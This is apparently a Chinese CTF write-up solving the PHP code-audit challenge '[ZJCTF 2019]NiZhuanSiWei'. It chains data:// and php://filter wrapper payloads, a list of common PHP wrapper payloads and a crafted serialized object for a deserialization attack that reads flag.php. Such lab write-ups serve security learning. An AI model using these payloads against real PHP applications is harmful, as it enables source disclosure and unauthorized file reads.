1.发现
1.1打开题目地址,查看为PHP代码审计
代码审计走起,一步一步分析
2.步骤
2.1大体要传入三个参数,先看第一段语句,
知识点
1)PHP函数
1.isset:PHP: isset - Manual
2.file_get_contents:PHP: file_get_contents - Manual
2)关于伪协议常用的payload,包括读文件和php代码执行
1.?file=data:text/plain,<?php phpinfo()>
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
3.?file=php://input [POST DATA:]
4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
2.2
首先判断text是否传进来,并且传进来的参数是否等于welcome to the zjctf,
这时我们就可以利用data伪协议进行文件php文件执行,
data协议通常是用来执行PHP代码,
然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。)
这里就可以构造
?text=data://data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
d2VsY29tZSB0byB0aGUgempjdGY=这时为了绕过一些过滤在这里将传入的值给base64编码了一下
2.3继续审计下一段代码
if(preg_match("/flag/",$file)){
echo "Not now!";//首先正则匹配一下是否存在flag,如果有就报错退出
exit();
}else{
include($file); //useless.php(这里提示了一个useless.php文件,这里用php://filter读取一下)
$password = unserialize($password);
echo $password;
}
}
知识点
1)PHP函数
1.preg_match:PHP: preg_match - Manual
2.4因为有过滤不能直接读,那就用base64编译一下构造payload,来看看useless.php里有什么
file=php://filter/read=convert.base64-encode/resource=useless.php//注意于上一传参之间用&链接
得到一串base64编码的代码
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
2.5解码后得到代码
<?php
class Flag{ //flag.php (终于找到关于flag的提示了)
public $file;
public function __tostring(){ //如果这个魔法函数被执行
if(isset($this->file)){ //就会执行这些
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
知识点:
1)序列化与反序列化
代码审计| CTF 中的反序列化问题 - 简书 (jianshu.com)
联想到上边的代码
$password = unserialize($password);
首先将password的传参序列化一下,之后通过unserialize在反序列化出来,
经过flie的传参到uesless.php页面使_tostring执行从而得到flag,下面开始构造序列化的数组
<?php
class Flag{ //flag.php (终于找到关于flag的提示了)
public $file="flag.php";
public function __tostring(){ //如果这个魔法函数被执行
if(isset($this->file)){ //就会执行这些
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
2.6把这个在本地执行一下,得到
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} ?>
这里也没有wakeup什么的也就不存在什么绕过,所以直接构造
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
2.7所以最终的payload就是
?text=data://data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
之后查看源码得到flag
3.借鉴
https://www.jianshu.com/p/61c7cd6e00d0
[ZJCTF 2019]NiZhuanSiWei 1 - 走看看 (zoukankan.com)
[ZJCTF 2019]NiZhuanSiWei - 高诺琪 - 博客园 (cnblogs.com)